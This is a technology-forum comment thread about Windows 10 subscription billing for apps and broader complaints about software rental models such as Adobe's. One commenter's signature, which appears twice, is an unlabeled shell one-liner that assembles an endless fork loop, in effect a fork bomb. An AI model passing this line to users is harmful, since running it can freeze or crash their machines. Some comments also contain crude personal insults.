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Subscriptions With Automated Recurring Billing Come To Windows 10 (betanews.com)
An anonymous reader shares a report: In yet another bid to woo developers to the platform, Microsoft is introducing subscription add-ons for Windows 10 Anniversary Edition, and later. Available to all UWP developers, the add-on subscriptions with automated recurring billing will allow creators to sell digital products directly in their apps. Subscription periods available include 1 month, 3 months, 6 months, 1 year or 2 years, and it's possible for developers to offer a free trial period too.
you imbecile
Read the article, comprehend that this is for third parties to sell subscription, then post
read ->comprehend->post
then get back to eating Cheetos in your moms basement while I am busy mailing her
Yeah.... I just read the summary and it's just the same model a lot of companies are already using for their products, but simplified for Windows developers (I guess if sold through the app store, MS gets a cut). It has NOTHING to do with the OS.
Stupid sexy Flanders.
No shit, Sherlock. It's the same thing leading to the same shitty place, perpetually paying for software instead of being able to buy it once. And how long do you think it will be before Windows actually gets in on the action directly? This is just another step towards that inevitable future.
Enjoy your subscription OS or your flood of ads delivered straight to your desktop and applications.
Have you read the article?
I get Only one in 10 employees is aware of IT security policies
Death has been proven to be 99% fatal in lab rats.
Kids are being brought up in a world where subscriptions and unlimited micropayments are normal.
25 cents for 25 file copy operations is next eh?
When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
Don't buy in....
So far, I'm not going with Adobe's rental model, for example. I can do just fine with the CS6 suite for example I bought....and there are now competitors for many of those tools (Affinity Photo, Affinity Designer, OnOne....etc)......
Don't give into this bullshit of renting your software....vote with your wallet, keep it closed.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
PLEASE folks.....vote for this subscription BS with you wallets.
Don't buy in....
So far, I'm not going with Adobe's rental model, for example. I can do just fine with the CS6 suite for example I bought....and there are now competitors for many of those tools (Affinity Photo, Affinity Designer, OnOne....etc)......
Don't give into this bullshit of renting your software....vote with your wallet, keep it closed.
I wish there were enough people that agreed with this stance to make a real difference, and change the course we're on.
Unfortunately, you represent a mere fraction of consumer mentality out there, so SaaS infections will continue and be inevitable.
Don't worry Zuckerberg is in favour of a Universal Basic Income.
The first stage is a UBI
The second stage is that everything needs micropayment, cunningly priced so that the average person spends their whole UBI
The final stage is that the UBI goes directly to Whole foods, Apple or Microsoft, Facebook etc.
If you want a vision of the future imagine a vegan Birkenstock stamping on a human face forever
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Stop mailing my mom!
As the OLD song goes...
"...teach your children well....."
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
Why is so much traffic being moved from slashdot to BetaNews?
Can't even be bothered to check the link......
Link from article https://betanews.com/2018/01/1...
Rick B.
then get back to eating Cheetos in your moms basement while I am busy mailing her
It would probably just be easier to text her.
The article is (as of 2:33pm ET) about employees being unaware of their employer's security issues. Maybe you should RTFA before telling others to do so?
You are not alone. This is not normal. None of this is normal.
If you've stuck with Windows despite all the horrible shit that Microsoft has been doing to you, you've earned this. Seriously, you have put in a concerted effort bear all the spying, absurd UI changes and just all around malicious behavior, so this is your reward.
Anons need not reply. Questions end with a question mark.
It has NOTHING to do with the OS.
Yet.
Microsoft is setting up a large recurring payments infrastructure. You don't have to be a genius to see what's coming after the "beta testers" are done with it.
No sig today...
It took me a while to remember that Windows 10 actually came with some kind of app store...
Seriously, is there someone left who did NOT disable that crap yet?
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
It seems more feudal to be honest. Then again fascism has become a rather meaningless word. In fact Orwell pointed that out that was the case even in 1944
http://orwell.ru/library/artic...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
True....
But then again, it ain't over, till it's over, you know?
Often, people don't know better, and every time you make a comment, well, someone might hear it and change their mind...and then change someone else's mind, etc.
And, look at the case with Adobe....
Sure, they are the monster winner now, BUT, there are a LOT of very viable alternatives springing up now. And I think some will really challenge Adobe, in that in many cases, like with Affinity Photo, they're creating from ground up, so there isn't all the legacy code underneath the covers, and they are faster and quicker....and I'm starting to see innovation on the new guys, as that with Adobe getting monthly payments, their incentive to really keep working for new breakthroughs really isn't as high as it might have been in past years.
So, while it is a tough fight now...it is worth fighting, it takes time, but even Tsunamis start out as small waves....
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
vote with your wallet
What alternative to Adobe Animate would you recommend for people trying to replace a secondhand copy of Flash with something that can output HTML5?
and they are faster and quicker
And so is CS5.5. I tried a demo of Photoshop CC 2017 recently and it was painfully slow. The UI just dragged so badly. I have no reason to downgrade to CC.
Maybe this works for you, someone who is happy to use older versions that don't have any new improvements. There is nothing wrong with that, I've frozen versions before too, until I couldn't work with the old versions anymore due to lack of newer RAW support. But I like my life being made easier by improvements to content aware stuff, and all of the other improvements they have made over the years. I could do everything I do these days with PS7.0, but it would take me significantly more steps and longer. I like the software being smart enough to automate large chunks of the boring shit for me.
That being said, I mostly kept up with upgrades on an every other release. I can also do the math - the renting is cheaper than upgrading every two years. $10.00 / month for two years = $240. Much cheaper than a license upgrade, AND I get Lightroom thrown in for "free" as well. Upgrades were $300-$400+.
Not only is it cheaper over all, but I never have to worry about waiting a year or more to use new features from a major point release. I will always have them as they come out. If I wanted this on the old upgrade model it would cost me double the amount that I used to pay, which was already significantly more than the cost of subscription.
To err is human; effective mayhem requires the root password!
and an extra helping of FULLY open source! :-P
I see your point...up to a point.
But with Adobe, and let's just take Photoshop as the example here....I look at today's PS CC, and honestly, while there are some updates and new things, there is nothing earthshaking with the current CC version that I can't really easily do in CS6....or with Affinity Photo.
Sure, they have made some changes, and some improvements, but nothing done so far, is so groundbreaking or new, that is can't easily be done already or replicated with CS6 or other products. In fact, Affinity Photo in so many cases, does the same thing and FASTER due to a better and newer engine.
I think my argument for things like PS is..the technology is largely mature and I don't there there are likely to be many things going forward that ARE earthshaking and will change anyones modern workflow.
Right now, I still play with PS CS6 and LR5. I'm toying with going ahead and buying LR6 while I still can....and from here, I'm looking elsewhere.
Right now I"m playing with On1 RAW as a LR replacement. Right now, I really love it except I do miss the cataloging and all from LR. A lot of people don't like the LR cataloging, but I do.
But so far, On1 is working great as a LR substitute.
I'd mentioned Affinity Photo...aside from a couple of things (I miss the ability to use the option key with a brush to quickly sample color in the work space)...I find it works great.
I find that both of them work just as well when it comes to content aware functionality. I've not seen any amazing strides with content aware from CS6 to current CC. Again, nothing earth shaking.
but hey, it works for some people and more power to them.
But even with as many people that migrated to Adobe CC's rental model...more and more I'm hearing grumblings about it and folks are looking for an alternative.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
Somebody should invent Free / Open Source software!
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
I do the math... I don't see MS putting the OS on a subscription model, especially Windows 10 - they'd not only lose millions of customers, they'd be sued up the ass by every single government on the planet for the bait and switch tactic. If they did this for 11, then you'd be free to not upgrade.
But I don't see it happening at all. I think of it like Angry Birds... when it came out, you could buy the full version, or play the ad supported version. Roxio soon discovered that they made more money on the ad supported versions... so their games remain free, but they make more money on ads and DLC. MS gets a cut of every window's store transaction.... they are doing this to encourage vendors to sell and update subscriptions through the windows store so they can get their cut. I'm not saying it's good - I liked actually being able to buy software (or permanent licenses). The best model is an inbetween one - I bought a library; I have "permanent" access to it (it will be outdated someday, of course), but I get free updates for the first year. I can keep using it for five, six... however many years are practical, and then buy the new version. However, I don't see anything dastardly in what MS is doing.
Stupid sexy Flanders.
Since apparently the mods don't bother clicking on the submitted links before posting. https://betanews.com/2018/01/1...
How much will Microsoft skim off the top.
in your moms basement while I am busy mailing her
So you run a spamming service?
-=This sig has nothing to do with my comment. Move along now=-
The correct link is apparently here (linked from the page linked from TFA)
I'll be trawling Pirate Bay then.
If you gave me a choice between a printer and a giraffe with explosive diarrhoea, i'll get my ladder and my raincoat
I'll just leave this here...
Synfig Studio, because it outputs as proper video files or animated images that can be viewed in many more places with less resource usage than HTML5
Last I checked, SWF was a lot smaller in bytes transmitted over the (potentially slow or capped) network than WebM or MP4. I had hoped that HTML+Canvas would be comparable in size to SWF.